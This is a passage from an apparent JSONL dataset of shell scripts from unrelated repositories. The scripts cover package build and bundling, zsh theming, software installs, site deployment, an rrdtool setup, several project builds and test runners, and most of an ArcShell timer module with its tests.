]; then\n\t\tMAKE_ARGS=\"\\${MAKE_ARGS} FLAVOR=\\${FLAVOR}\"\n\tfi\n\n\tPKGFILE=\\$(make -C ${PORTSDIR}/\\${PORT} -V PKGFILE \\${MAKE_ARGS})\n\tif [ -f \\${PKGFILE} ]; then\n\t\techo \">>> Removing cached package for \\${PORT_ORIGIN}\"\n\t\trm \\${PKGFILE}\n\tfi\ndone\nEOF\n\nbundle_packages ${STAGEDIR} ${SELF} ports plugins core\n\nif [ -f ${STAGEDIR}/.pkg-warn ]; then\n\techo \">>> WARNING: The build may have integrity issues!\"\n\tcat ${STAGEDIR}/.pkg-warn\nfi\n\nif [ -f ${STAGEDIR}/.pkg-err ]; then\n\techo \">>> ERROR: The build encountered fatal issues!\"\n\tcat ${STAGEDIR}/.pkg-err\n\texit 1\nfi"} {"text": "<filename>.config/zsh/syntax-highlighting.zsh\n#!/bin/zsh\n\n################################\n### HSMW Syntax-Highlighting ###\n################################\ntypeset -gA HSMW_HIGHLIGHT_STYLES\nHSMW_HIGHLIGHT_STYLES[path]=\"bg=magenta,fg=white,bold\"\nHSMW_HIGHLIGHT_STYLES[single-hyphen-option]=\"fg=cyan\"\nHSMW_HIGHLIGHT_STYLES[double-hyphen-option]=\"fg=cyan\"\nHSMW_HIGHLIGHT_STYLES[commandseparator]=\"fg=241,bg=17\"\n\nzstyle \":history-search-multi-word\" page-size \"8\" # Number of entries to show (default is $LINES/3)\nzstyle \":history-search-multi-word\" highlight-color \"fg=yellow,bold\" # Color in which to highlight matched, searched text (default bg=17 on 256-color terminals)\nzstyle \":plugin:history-search-multi-word\" synhl \"yes\" # Whether to perform syntax highlighting (default true)\nzstyle \":plugin:history-search-multi-word\" active \"underline\" # Effect on active history entry. Try: standout, bold, bg=blue (default underline)\nzstyle \":plugin:history-search-multi-word\" check-paths \"yes\" # Whether to check paths for existence and mark with magenta (default true)\nzstyle \":plugin:history-search-multi-word\" clear-on-cancel \"no\" # Whether pressing Ctrl-C or ESC should clear entered query\nzstyle :plugin:history-search-multi-word reset-prompt-protect 1\n\n###################\n### dracula tty ###\n###################\nif [ \"$TERM\" = \"linux\" ]; then\n printf %b '\\e[40m' '\\e[8]' # set default background to color 0 'dracula-bg'\n printf %b '\\e[37m' '\\e[8]' # set default foreground to color 7 'dracula-fg'\n printf %b '\\e]P0282a36' # redefine 'black' as 'dracula-bg'\n printf %b '\\e]P86272a4' # redefine 'bright-black' as 'dracula-comment'\n printf %b '\\e]P1ff5555' # redefine 'red' as 'dracula-red'\n printf %b '\\e]P9ff7777' # redefine 'bright-red' as '#ff7777'\n printf %b '\\e]P250fa7b' # redefine 'green' as 'dracula-green'\n printf %b '\\e]PA70fa9b' # redefine 'bright-green' as '#70fa9b'\n printf %b '\\e]P3f1fa8c' # redefine 'brown' as 'dracula-yellow'\n printf %b '\\e]PBffb86c' # redefine 'bright-brown' as 'dracula-orange'\n printf %b '\\e]P4bd93f9' # redefine 'blue' as 'dracula-purple'\n printf %b '\\e]PCcfa9ff' # redefine 'bright-blue' as '#cfa9ff'\n printf %b '\\e]P5ff79c6' # redefine 'magenta' as 'dracula-pink'\n printf %b '\\e]PDff88e8' # redefine 'bright-magenta' as '#ff88e8'\n printf %b '\\e]P68be9fd' # redefine 'cyan' as 'dracula-cyan'\n printf %b '\\e]PE97e2ff' # redefine 'bright-cyan' as '#97e2ff'\n printf %b '\\e]P7f8f8f2' # redefine 'white' as 'dracula-fg'\n printf %b '\\e]PFffffff' # redefine 'bright-white' as '#ffffff'\n clear\nfi"} {"text": "#!/bin/bash\n\n##----------------------------------------------------------\n### vokoscreen\n##----------------------------------------------------------\n# * https://www.unixmen.com/vokoscreen-a-new-screencasting-tool-for-linux/\n# * https://www.lifewire.com/create-video-tutorials-using-vokoscreen-screencasting-3958725\n# * https://github.com/vkohaupt/vokoscreen\n\nsudo -E add-apt-repository -y ppa:vokoscreen-dev/vokoscreen\n#sudo -E apt-add-repository --remove ppa:vokoscreen-dev/vokoscreen\nsudo -E apt-get update\nsudo -E apt-get -q -y install vokoscreen"} {"text": "#!/usr/bin/env bash\n\nprompt_update_or_reinstall ()\n{\n\t# Offer to reinstall or update package\n\t# 'Y' or 'y' will accept, any other keypress will reject\n\n\t# First conditional specifies color of prompt text output\n\tif [[ $option == \"UPDATE\" ]]; then\n\t\tread -p \"$(printf \"${LIGHTGREEN}//=> ${NC}${WHITE}Would you like to${NC} ${LIGHTGREEN}${option}${NC} ${LIGHTRED}${pkg_name}${NC}${WHITE}?${NC} [Y/n] \")\" -r\n\telse\n\t\tread -p \"$(printf \"${LIGHTGREEN}//=> ${NC}${WHITE}Would you like to${NC} ${LIGHTCYAN}${option}${NC} ${LIGHTRED}${pkg_name}${NC}${WHITE}?${NC} [Y/n] \")\" -r\n\tfi\n\t# Second conditional triggers update/reinstall, or prints negative output\n\tif [[ $REPLY =~ ^[Yy]$ ]]; then\n\t\tprintf \"${LIGHTGREEN}${opt_gerund} ${pkg_name}!${NC}\\n\"\n\t\tmakepkg -sirc\n\telse\n\t\t# Convert opt_gerund to lower case\n\t\topt_gerund=$(echo $opt_gerund | tr '[:upper:]' '[:lower:]')\n\t\tprintf \"${LIGHTRED}NOT ${opt_gerund} ${pkg_name}!${NC}\\n\\n\"\n\tfi\n}"} {"text": "<gh_stars>10-100\n#! /bin/bash\n\nset -eu\n\nif [ \"x$(git status --porcelain)\" != \"x\" ]; then\n echo \"error: git repo has uncommited changes.\" >&2\n exit 1\nfi\n\necho \"Checking out doc branch in ./.gh-pages...\"\n\nif [ ! -e .gh-pages ]; then\n git clone -b gh-pages <EMAIL>:jheatmap/jheatmap.git .gh-pages\n cd .gh-pages\nelse\n cd .gh-pages\n git pull\nfi\n\nif [ \"x$(git status --porcelain)\" != \"x\" ]; then\n echo \"error: .gh-pages is not clean.\" >&2\n exit 1\nfi\n\ncd ..\n\necho \"Regenerating site...\"\n\nrm -rf _site .gh-pages/*\n\nant release\ncp -r site/* .gh-pages\n\nREV=\"$(git rev-parse HEAD)\"\n\ncd .gh-pages\ngit add *\ngit commit -m \"site generated @$REV\"\n\nif [ \"x$(git status --porcelain)\" != \"x\" ]; then\n echo \"error: .gh-pages is not clean after commit.\" >&2\n exit 1\nfi\n\necho -n \"Push now? (y/N)\"\nread -n 1 YESNO\necho\n\nif [ \"$YESNO\" == \"y\" ]; then\n git push\n cd ..\nelse\n echo \"Did not push. You may want to delete .gh-pages.\"\nfi"} {"text": "<reponame>BimboPolitics/LFS\n#! /bin/bash\n\nPRGNAME=\"blfs-bootscripts\"\n\n#### BLFS Boot Scripts\n# Пакет содержит инициализационные скрипты для многих пакетов BLFS. Скрипты\n# устанавливаются в /etc/sysconfig, /lib/services и в /etc/init.d. Так же\n# устанавливаются необходимые символические ссылки.\n#\n# Установка скрипта для определенного пакета:\n# # make install-<init-script>\n# например:\n# # make install-service-dhcpcd\n\n# Home page: http://anduin.linuxfromscratch.org/BLFS/blfs-bootscripts/\n\nROOT=\"/root/src/lfs\"\nsource \"${ROOT}/check_environment.sh\" || exit 1\nsource \"${ROOT}/unpack_source_archive.sh\" \"${PRGNAME}\" || exit 1\n\n# просто переместим исходники в /root/src/lfs\ncd \"${ROOT}\" || exit 1\nrm -rf \"./${PRGNAME}\"\nmv \"${BUILD_DIR}/${PRGNAME}-${VERSION}\" \"${PRGNAME}\""} {"text": "<filename>built-in/MindSpore/Official/cv/detection/SSD_for_MindSpore/infer/sdk/perf/run_map_test.sh\n#!/bin/bash\n\nPY=/usr/bin/python3.7\n\nexport PYTHONPATH=${PYTHONPATH}:.\n\n${PY} generate_map_report.py \\\n--annotations_json=/home/dataset/coco2017/annotations/instances_val2017.json \\\n--det_result_json=/home/sam/codes/SSD_MobileNet_FPN_for_MindSpore/infer/sdk/perf/om_infer_output_on_coco_val2017/om_det_result.json \\\n--output_path_name=./map_output/map.txt \\\n--anno_type=bbox"} {"text": "#!/bin/sh\n\nrrdtool create powertemp.rrd --step 5 \\\nDS:Temperature:GAUGE:180:U:U \\\nRRA:AVERAGE:0.5:1:3200 \\\nRRA:AVERAGE:0.5:6:3200 \\\nRRA:AVERAGE:0.5:36:3200 \\\nRRA:AVERAGE:0.5:144:3200 \\\nRRA:AVERAGE:0.5:1008:3200 \\\nRRA:AVERAGE:0.5:4320:3200 \\\nRRA:AVERAGE:0.5:52560:3200 \\\nRRA:AVERAGE:0.5:525600:3200 \\\nRRA:MIN:0.5:1:3200 \\\nRRA:MIN:0.5:6:3200 \\\nRRA:MIN:0.5:36:3200 \\\nRRA:MIN:0.5:144:3200 \\\nRRA:MIN:0.5:1008:3200 \\\nRRA:MIN:0.5:4320:3200 \\\nRRA:MIN:0.5:52560:3200 \\\nRRA:MIN:0.5:525600:3200 \\\nRRA:MAX:0.5:1:3200 \\\nRRA:MAX:0.5:6:3200 \\\nRRA:MAX:0.5:36:3200 \\\nRRA:MAX:0.5:144:3200 \\\nRRA:MAX:0.5:1008:3200 \\\nRRA:MAX:0.5:4320:3200 \\\nRRA:MAX:0.5:52560:3200 \\\nRRA:MAX:0.5:525600:3200"} {"text": "<reponame>liquidum-network/chiapos\nset -e\nvcpkg_dir=~/storage/vcpkg\nsudo apt update\nsudo apt install -y --upgrade \\\n build-essential tar zip unzip pkg-config cmake g++ \\\n libpython3.9-dev libcurl4-openssl-dev clang-tidy libssl-dev \\\n libpthread-stubs0-dev\n\ngit clone --depth=1 https://github.com/microsoft/vcpkg ${vcpkg_dir} || (cd ${vcpkg_dir} && git pull)\n[ -f ${vcpkg_dir}/vcpkg ] || ${vcpkg_dir}/bootstrap-vcpkg.sh\n${vcpkg_dir}/vcpkg update\n${vcpkg_dir}/vcpkg upgrade --no-dry-run\n${vcpkg_dir}/vcpkg install nlohmann-json spdlog\n\naws_build_dir=~/storage/chiapos-builds/superbuild\nbuild_dir=~/storage/chiapos-builds/build\n\nexport CC=gcc-11\nexport CXX=g++-11\ncmake -Hsuperbuild -B $aws_build_dir \"-DCMAKE_INSTALL_PREFIX=ext/install\"\ncmake --build $aws_build_dir -- -j4\n\ncmake_flags=\"-DCMAKE_INSTALL_PREFIX=ext/install -DBUILD_DEPS:BOOL=ON -DCMAKE_TOOLCHAIN_FILE=${vcpkg_dir}/scripts/buildsystems/vcpkg.cmake -DCMAKE_BUILD_TYPE=RELEASE\"\ncmake -B $build_dir -H. ${cmake_flags}\ncmake --build $build_dir -- -j6 $@\n\ntarget=chiapos.cpython-39-x86_64-linux-gnu.so\nif [ -f ~/storage/chiapos-builds/build/$target ]; then\n cp ~/storage/chiapos-builds/build/$target build/${target}.tmp\n mv build/${target}.tmp build/${target}\n echo copied python library into build/${target}\nfi\n\ntarget=verifier_py.cpython-39-x86_64-linux-gnu.so\nif [ -f ~/storage/chiapos-builds/build/$target ]; then\n cp ~/storage/chiapos-builds/build/$target build/${target}.tmp\n mv build/${target}.tmp build/${target}\n echo copied python library into build/${target}\nfi"} {"text": "<reponame>research-manuscripts/MA_Felix_Rittler\n# build project\ncargo build --release\nfor i in $(seq $1)\ndo\n echo $i\n # execute generator\n ./target/release/rust-orb-test.exe $i\ndone"} {"text": "<filename>FWCore/Framework/test/run_unscheduled.sh<gh_stars>100-1000\n#!/bin/bash\n\n# Pass in name and status\nfunction die { echo $1: status $2 ; exit $2; }\n\npushd ${LOCAL_TMP_DIR}\n\nF1=${LOCAL_TEST_DIR}/test_deepCall_unscheduled_cfg.py\nF2=${LOCAL_TEST_DIR}/test_deepCall_unscheduled_fail_cfg.py\nF3=${LOCAL_TEST_DIR}/test_offPath_unscheduled_cfg.py\nF4=${LOCAL_TEST_DIR}/test_onPath_unscheduled_cfg.py\nF5=${LOCAL_TEST_DIR}/test_onPath_wrongOrder_unscheduled_fail_cfg.py\n\n(cmsRun $F1 ) > test_deepCall_unscheduled.log || die \"Failure using $F1\" $?\ndiff ${LOCAL_TEST_DIR}/unit_test_outputs/test_deepCall_unscheduled.log test_deepCall_unscheduled.log || die \"comparing test_deepCall_unscheduled.log\" $?\n\n!(cmsRun -j test_deepCall_fail_fjr.xml $F2 ) || die \"Failure using $F2\" $?\n(grep '<FrameworkError ExitStatus=\"8006\" Type=\"Fatal Exception\" >' test_deepCall_fail_fjr.xml) || die \"Failed to return proper exit code $F2\" $?\n(cmsRun $F3 ) || die \"Failure using $F3\" $?\n\n(cmsRun $F4 ) > test_onPath_unscheduled.log || die \"Failure using $F4\" $?\ndiff ${LOCAL_TEST_DIR}/unit_test_outputs/test_onPath_unscheduled.log test_onPath_unscheduled.log || die \"comparing test_onPath_unscheduled.log\" $?\n\n!(cmsRun $F5 ) || die \"Failure using $F5\" $?\n\npopd"} {"text": "<filename>demo-ktor/build.sh\n#!/bin/bash\n\n./gradlew clean\n./gradlew installDist\ndocker build -t taiwanbackendgroup/demo-ktor:1.0.0 .\ndocker push taiwanbackendgroup/demo-ktor:1.0.0"} {"text": "<filename>sh/core/arcshell_timer.sh\n\n# module_name=\"Timer\"\n# module_about=\"Create and manage timers for timing all sorts of things.\"\n# module_version=1\n# module_image=\"stopwatch-1.png\"\n# copyright_notice=\"Copyright 2019 Arclogic Software\"\n\n[[ -z \"${arcTmpDir}\" ]] && return\n_timerDir=\"${arcTmpDir}/_arcshell_timers\"\nmkdir -p \"${_timerDir}\"\n\n# ToDo: Some functionality is unclear here. Review all for clarity.\n\nfunction __readmeTimer {\n cat <<EOF\n> \"Weeks of coding can save you hours of planning.\" - Anonymous\n\n# Timer\n\n**Create and manage timers for timing all kinds of things.**\nEOF\n}\n\nfunction __exampleTimer {\n # Create the timer and start it.\n timer_create -force -start \"foo\"\n # Do something for 5 seconds.\n sleep 5\n # Should return 5.\n timer_seconds \"foo\"\n # Do something for 55 seconds.\n sleep 55\n # Should return 1.\n timer_minutes \"foo\"\n # Stop the timer.\n timer_stop \"foo\"\n # Starts the timer counting from the point it was stopped at.\n timer_start \"foo\"\n # End the timer.\n timer_end \"foo\"\n}\n\nfunction timer_mins_expired {\n # Returns true when timer interval has passed and resets the timer.\n # >>> timer_mins_expired [-inittrue,-i] \"timerKey\" minutes\n # -inittrue: Forces return of true the first time the timer is created.\n # timerKey: A unique key used to identify the timer.\n # minutes: The number of minutes to wait before expiring and returning true.\n # **Example**\n # ```\n # timer_mins_expired \"timerX\" 1 && echo Yes || echo No\n # ```\n ${arcRequireBoundVariables}\n typeset timerKey minutes inittrue \n inittrue=0\n while (( $# > 0)); do\n case \"${1}\" in\n \"-inittrue\"|\"-i\") inittrue=1 ;;\n *) break ;;\n esac\n shift\n done\n utl_raise_invalid_option \"timer_mins_expired\" \"(( $# == 2 ))\" \"$*\" && ${returnFalse} \n timerKey=\"${1}\"\n minutes=${2}\n if ! timer_exists \"${timerKey}\"; then\n timer_create -start \"${timerKey}\" \n if (( ${inittrue} )); then\n ${returnTrue} \n else \n ${returnFalse} \n fi\n elif (( $(timer_minutes \"${timerKey}\") >= ${minutes} )); then\n timer_reset \"${timerKey}\"\n ${returnTrue} \n else\n ${returnFalse} \n fi\n}\n\nfunction test_timer_mins_expired {\n :\n}\n\nfunction timer_secs_expired {\n # Returns true when timer interval has passed and resets the timer.\n # >>> timer_secs_expired [-inittrue,-i] \"timerKey\" seconds\n # -inittrue: Forces return of true the first time the timer is created.\n # timerKey: A unique key used to identify the timer.\n # seconds: The number of seconds to wait before expiring and returning true.\n # **Example**\n # ```\n # timer_secs_expired \"timerX\" 10 && echo Yes || echo No\n # ```\n ${arcRequireBoundVariables}\n typeset timerKey seconds inittrue\n inittrue=0\n while (( $# > 0)); do\n case \"${1}\" in\n \"-inittrue\"|\"-t\") inittrue=1 ;;\n *) break ;;\n esac\n shift\n done\n utl_raise_invalid_option \"timer_secs_expired\" \"(( $# == 2 ))\" \"$*\" && ${returnFalse} \n timerKey=\"${1}\"\n seconds=${2}\n if ! timer_exists \"${timerKey}\"; then\n timer_create -start \"${timerKey}\" \n if (( ${inittrue} )); then\n ${returnTrue} \n else \n ${returnFalse} \n fi\n elif (( $(timer_seconds \"${timerKey}\") >= ${seconds} )); then\n timer_reset \"${timerKey}\"\n ${returnTrue} \n else\n ${returnFalse} \n fi\n}\n\nfunction test_timer_secs_expired {\n timer_delete \"$$\"\n timer_secs_expired \"$$\" 5 && fail_test \"New timer should not return true unless -inittrue is passed.\" || pass_test \n assert_sleep 6 \n timer_secs_expired \"$$\" 5 && pass_test || fail_test \"Timer should return true, interval has passed.\"\n timer_secs_expired \"$$\" 5 && fail_test \"Timer just returned true, should now return false.\" || pass_test \n timer_delete \"$$\"\n timer_secs_expired -inittrue \"$$\" 5 && pass_test || fail_test \"Timer should return true first time called when -inittrue is passed.\"\n timer_secs_expired -inittrue \"$$\" 5 && fail_test \"Timer should now return false, since it just returned true.\" || pass_test \n timer_delete \"$$\"\n}\n\nfunction _timerRaiseDuplicateTimer {\n # Throw error and return true if the timer already exists.\n # >>> _timerRaiseDuplicateTimer \"timerKey\" \n debug3 \"_timerRaiseDuplicateTimer: $*\"\n ${arcRequireBoundVariables}\n typeset timerKey \n timerKey=\"${1}\"\n if timer_exists \"${timerKey}\"; then\n log_error -2 -logkey \"timer\" -tags \"${timerKey}\" \"Duplicate timer.\"\n debug3 \"_timerRaiseDuplicateTimer: true\"\n ${returnTrue}\n else\n debug3 \"_timerRaiseDuplicateTimer: false\"\n ${returnFalse}\n fi\n}\n\nfunction test__timerRaiseDuplicateTimer {\n timer_delete \"$$\"\n _timerRaiseDuplicateTimer \"$$\" && fail_test || pass_test \n timer_create \"$$\" && pass_test || fail_test \n _timerRaiseDuplicateTimer \"$$\" 2>&1 | assert_match \"ERROR\"\n _timerRaiseDuplicateTimer \"$$\" 2>/dev/null && pass_test || fail_test \n timer_delete \"$$\" && pass_test || fail_test \n}\n\nfunction _timerRaiseTimerNotFound {\n # Throw error and return true if the timer does not exist.\n # >>> _timerRaiseTimerNotFound \"timerKey\" \"errorText\"\n ${arcRequireBoundVariables}\n typeset timerKey errorText\n timerKey=\"${1}\"\n errorText=\"${2:-}\"\n if ! timer_exists \"${timerKey}\"; then\n log_error -2 -logkey \"timer\" -tags \"${timerKey}\" \"Timer not found.\"\n ${returnTrue}\n else\n ${returnFalse}\n fi\n}\n\nfunction test__timerRaiseTimerNotFound {\n :\n}\n\nfunction timer_create {\n # Create a new timer. Throws an error if it already exists.\n # >>> timer_create [-force,-f] [-start,-s] [-autolog,-a] [\"timerKey\"] \n # -force: Re-create the timer if it already exists.\n # -start: Start timer automatically.\n # -autolog: Logs timer automatically.\n # timerKey: Unique key assigned to the timer. Defaults to current process ID.\n ${arcRequireBoundVariables}\n debug3 \"timer_create: $*\"\n typeset timerKey timerForce autoStart autoLog\n autoStart=0\n timerForce=0\n autoLog=0\n while (( $# > 0)); do\n case \"${1}\" in\n \"-force\"|\"-f\") timerForce=1 ;;\n \"-start\"|\"-s\") autoStart=1 ;;\n \"-autolog\"|\"-a\") autoLog=1 ;; \n *) break ;;\n esac\n shift\n done\n utl_raise_invalid_option \"timer_create\" \"(( $# <= 1 ))\" \"$*\" && ${returnFalse} \n timerKey=\"${1:-$$}\"\n str_raise_not_a_key_str \"timer_create\" \"${timerKey}\" && ${returnFalse}\n (( ${timerForce} )) && timer_delete \"${timerKey}\"\n _timerRaiseDuplicateTimer \"${timerKey}\" && ${returnFalse}\n _timerInitTimer \"${timerKey}\" ${autoLog}\n if (( ${autoStart} )); then\n timer_start \"${timerKey}\"\n fi\n}\n\nfunction test_timer_create {\n timer_delete \"timerOne\"\n timer_delete \"timerY\"\n ! timer_exists \"timerOne\" && pass_test || fail_test\n timer_create \"timerOne\" && pass_test || fail_test \n timer_exists \"timerOne\" && pass_test || fail_test\n timer_create \"timerOne\" 2>&1 | assert_match \"ERROR\" \"Should throw duplicate timer error.\"\n ! timer_exists \"timerY\" && pass_test || fail_test\n timer_create \"timerY\" && timer_start \"timerY\" && pass_test || fail_test \n timer_exists \"timerY\" && pass_test || fail_test\n assert_sleep 5\n timer_seconds \"timerY\" | assert \">3\" \"Timer should have been running more than 3 seconds.\"\n \n timer_create \n timer_exists \"$$\" && pass_test || fail_test\n timer_delete \"$$\"\n}\n\nfunction test_timer_autolog {\n timer_delete \"timer1\" && pass_test || fail_test \n timer_create -force -autolog -start \"timer1\" && pass_test || fail_test \n assert_sleep 2\n log_set_output -1\n timer_stop \"timer1\" | egrep \"DATA\" | assert -l 1\n log_set_default\n}\n\nfunction test_timer_create_force {\n timer_delete \"timerZ\"\n timer_create -f \"timerZ\" \n timer_exists \"timerZ\" && pass_test || fail_test\n timer_create -f \"timerZ\" 2>&1 >/dev/null | assert -z\n # Will use $$ as the key, does not throw error.\n timer_create -f 2>&1 >/dev/null | assert -z\n p=$$\n timer_exists \"${p}\" && pass_test || fail_test\n # Again, will use $$ as key. No error.\n timer_delete 2>&1 >/dev/null | assert -z\n}\n\nfunction timer_time {\n # Starts a new timer which will be auto-logged when timer_end if called.\n # >>> timer_time [\"timerKey\"]\n ${arcRequireBoundVariables}\n typeset timerKey \n timerKey=\"${1:-$$}\"\n timer_create -force -start -autolog \"${timerKey}\"\n ${returnTrue} \n}\n\nfunction timer_end {\n # Used to stop timing a timer started with timer_time.\n # >>> timer_end [\"timerKey\"]\n ${arcRequireBoundVariables}\n typeset timerKey \n timerKey=\"${1:-$$}\"\n timer_stop \"${timerKey}\"\n timer_delete \"${timerKey}\"\n}\n\nfunction timer_start {\n # Start a new timer or restart an existing timer.\n # >>> timer_start \"timerKey\"\n ${arcRequireBoundVariables}\n typeset timerKey\n timerKey=\"${1:-$$}\"\n debug3 \"timer_start: $*\"\n _timerRaiseTimerNotFound \"${timerKey}\" \"timer_start\" && ${returnFalse}\n eval \"$(_timerLoad \"${timerKey}\")\"\n if [[ \"${_timerStatus}\" == \"Stopped\" ]]; then\n _timerStatus=\"Running\"\n _currentIntervalStartTime=$(dt_epoch)\n _timerSave \"${timerKey}\"\n else\n log_error -2 -logkey \"timer\" -tags \"${timerKey}\" \"Timer already running.\"\n fi\n}\n\nfunction test_timer_start {\n timer_create -f \"timerOne\"\n assert_sleep 2\n timer_seconds \"timerOne\" | assert 0\n timer_start \"timerOne\"\n assert_sleep 2\n timer_seconds \"timerOne\" | assert \">0\"\n timer_start 2>&1 | assert_match \"ERROR\"\n timer_delete \"timerOne\"\n}\n\nfunction timer_seconds {\n # Return current timer time in seconds. Auto create and start if it doesn't exist.\n # >>> timer_seconds [\"timerKey\"]\n ${arcRequireBoundVariables}\n typeset timerKey\n timerKey=\"${1:-$$}\"\n if ! timer_exists \"${timerKey}\"; then\n timer_create -start \"${timerKey}\" \n fi\n _timerGet \"${timerKey}\" \"seconds\"\n}\n\nfunction test_timer_seconds {\n :\n}\n\nfunction timer_minutes {\n # Return current timer time in minutes. Auto create and start if it doesn't exist.\n # >>> timer_minutes [\"timerKey\"]\n ${arcRequireBoundVariables}\n typeset timerKey\n timerKey=\"${1:-$$}\"\n if ! timer_exists \"${timerKey}\"; then\n timer_create -start \"${timerKey}\" \n fi\n _timerGet \"${timerKey}\" \"minutes\"\n}\n\nfunction test_timer_minutes {\n :\n}\n\nfunction timer_log_timer {\n # Logs the current timer time to the application log.\n # >>> timer_log_timer [\"timerKey='$$']\n ${arcRequireBoundVariables}\n typeset timerKey x\n timerKey=\"${1:-$$}\"\n x=$(timer_seconds \"${timerKey}\")\n log_data -logkey \"timer\" \\\n -tags \"timer\" \\\n \"timer_key=\\\"${timerKey}\\\";elapsed_seconds=${x}\"\n}\n\nfunction test_timer_log_timer {\n timer_create -force -start \n assert_sleep 3\n log_set_output -1\n timer_log_timer | egrep \"DATA\" | assert -l 1\n log_set_default\n}\n\nfunction _timerGet {\n # Return total time for timer in seconds or minutes depending on type.\n # >>> _timerGet \"timerKey\" \"timerType\"\n # timerKey: \n # timerType: \"minites\" or \"seconds\"\n ${arcRequireBoundVariables}\n debug3 \"_timerGet: $*\"\n typeset currentTime currentIntervalTime currentTotalTime currentSeconds timerKey timeType\n timerKey=\"${1:-$$}\"\n timeType=\"${2:-\"seconds\"}\"\n _timerRaiseTimerNotFound \"${timerKey}\" \"_timerGet\" && ${returnFalse}\n eval \"$(_timerLoad \"${timerKey}\")\"\n currentTime=$(dt_epoch)\n case \"${_timerStatus}\" in\n \"Stopped\")\n currentTotalTime=${_totalTimeForCompletedLaps}\n ;;\n \"Running\")\n currentIntervalTime=$(_timerGetCurrentIntervalTime \"${timerKey}\")\n ((currentTotalTime=_totalTimeForCompletedLaps+currentIntervalTime))\n ;;\n esac\n if [[ \"${timeType}\" == \"minutes\" ]]; then\n currentSeconds=${currentTotalTime}\n ((currentTotalTime=currentTotalTime/60))\n fi\n debug3 \"currentTotalTime=${currentTotalTime}, currentSeconds=${currentSeconds:-}\"\n echo \"${currentTotalTime}\"\n}\n\nfunction test_timerGet {\n timer_create -f \"timerZ\"\n timer_start \"timerZ\"\n assert_sleep 5\n timer_seconds \"timerZ\" | assert \">3\"\n}\n\nfunction timer_reset {\n # Reset a timer, also starts it if it is not running already.\n # >>> timer_reset [\"timerKey\"]\n ${arcRequireBoundVariables}\n debug3 \"timer_reset: $*\"\n typeset timerKey\n timerKey=\"${1:-$$}\"\n eval \"$(_timerLoad \"${timerKey}\")\"\n _totalTimeForCompletedLaps=0\n _currentIntervalStartTime=$(dt_epoch)\n _timerStatus=\"Running\"\n _timerSave \"${timerKey}\"\n}\n\nfunction test_timer_reset {\n timer_delete \"timerOne\"\n timer_create -f \"timerOne\"\n timer_start \"timerOne\"\n assert_sleep 5\n timer_seconds \"timerOne\" | assert \">4\"\n timer_reset \"timerOne\"\n timer_seconds \"timerOne\" | assert \"<4\"\n assert_sleep 5\n timer_seconds \"timerOne\" | assert \">4\"\n timer_delete \"timerOne\"\n}\n\nfunction timer_stop {\n # Stop a timer.\n # >>> timer_stop \"timerKey\"\n ${arcRequireBoundVariables}\n typeset currentIntervalTime timerKey\n timerKey=\"${1:-$$}\"\n eval \"$(_timerLoad \"${timerKey}\")\"\n debug3 \"timer_stop: $*\"\n if [[ \"${_timerStatus}\" == \"Running\" ]]; then\n _timerStatus=\"Stopped\"\n currentIntervalTime=$(_timerGetCurrentIntervalTime \"${timerKey}\")\n ((_totalTimeForCompletedLaps=_totalTimeForCompletedLaps+currentIntervalTime))\n _currentIntervalStartTime=0\n _timerSave \"${timerKey}\"\n if (( ${_timerAutoStart} )); then\n timer_log_timer \"${timerKey}\"\n fi\n else\n log_error -2 -logkey \"timer\" -tags \"${timerKey}\" \"Timer already stopped.\"\n fi\n}\n\nfunction test_timer_stop {\n timer_create -f \"laps\"\n timer_start \"laps\"\n assert_sleep 2\n timer_stop \"laps\"\n assert_sleep 4\n timer_seconds \"laps\" | assert \"<4\"\n timer_start \"laps\"\n assert_sleep 4\n timer_seconds \"laps\" | assert \">5\"\n timer_delete \"laps\"\n}\n\nfunction timer_delete {\n # Delete a timer.\n # >>> timer_delete \"timerKey\"\n ${arcRequireBoundVariables}\n typeset timerKey\n timerKey=\"${1:-$$}\"\n debug3 \"timer_delete: $*\"\n str_raise_not_a_key_str \"timer_delete\" \"${timerKey}\" && ${returnFalse} \n if timer_exists \"${timerKey}\"; then\n rm \"${_timerDir}/${timerKey}\"\n fi\n ${returnTrue} \n}\n\nfunction test_timer_delete {\n assert_sleep 60\n timer_seconds \"timerY\" | assert \">0\"\n timer_create -f \"timerOne\"\n timer_exists \"timerOne\" && pass_test || fail_test\n timer_delete \"timerOne\" \n ! timer_exists \"timerOne\" && pass_test || fail_test\n # Timer key will default to $$ if not provided.\n timer_delete 2>&1 | assert -z\n timer_delete \"timerY\"\n}\n\nfunction _timerInitTimer {\n # Initialize variables stored in the data file before creating a new timer.\n # >>> _timerInitTimer \"timerKey\" \"autoStart\"\n ${arcRequireBoundVariables}\n typeset timerKey autoStart\n timerKey=\"${1}\"\n autoStart=\"${2}\"\n _timerStatus=\"Stopped\"\n _totalTimeForCompletedLaps=0\n _currentIntervalStartTime=0\n _timerAutoStart=${autoStart}\n _timerSave \"${timerKey}\" \n}\n\nfunction _timerLoad {\n # Loads the timer variables into the current functions shell.\n # >>> eval \"$(_timerLoad \"timerKey\")\"\n # timerKey: \n ${arcRequireBoundVariables}\n debug3 \"_timerLoad: $*\"\n typeset timerKey\n timerKey=\"${1}\"\n cat \"${_timerDir}/${timerKey}\" | debugd3\n echo \". ${_timerDir}/${timerKey}\"\n}\n\nfunction _timerSave {\n # Save the current environment variables to the data file.\n # >>> _timerSave \"timerKey\"\n # timerKey:\n ${arcRequireBoundVariables}\n typeset timerKey\n debug3 \"_timerSave: $*\"\n timerKey=\"${1}\"\n (\n cat <<EOF\n_timerStatus=\"${_timerStatus}\"\n_totalTimeForCompletedLaps=${_totalTimeForCompletedLaps:-0}\n_currentIntervalStartTime=${_currentIntervalStartTime:-}\n_timerAutoStart=${_timerAutoStart:-0}\nEOF\n ) > \"${_timerDir}/${timerKey}\"\n \n}\n\nfunction timer_exists {\n # Return true if timer exists.\n # >>> timer_exists \"timerKey\"\n debug3 \"timer_exists: $*\"\n ${arcRequireBoundVariables}\n typeset timerKey\n timerKey=\"${1:-}\"\n str_raise_not_a_key_str \"timer_exists\" \"${timerKey}\" && ${returnFalse} \n if [[ -f \"${_timerDir}/${timerKey}\" ]]; then\n ${returnTrue}\n else\n ${returnFalse}\n fi\n}\n\nfunction test_timer_exists {\n ! timer_exists \"does_not_exist\" && pass_test || fail_test\n timer_create -f \"timerOne\"\n timer_exists \"timerOne\" && pass_test || fail_test\n timer_exists 2>&1 | assert_match \"ERROR\"\n timer_delete \"timerOne\"\n}\n\nfunction _timerGetCurrentIntervalTime {\n # Return number of seconds for current interval.\n # >>> _timerGetCurrentIntervalTime \"timerKey\"\n ${arcRequireBoundVariables}\n typeset 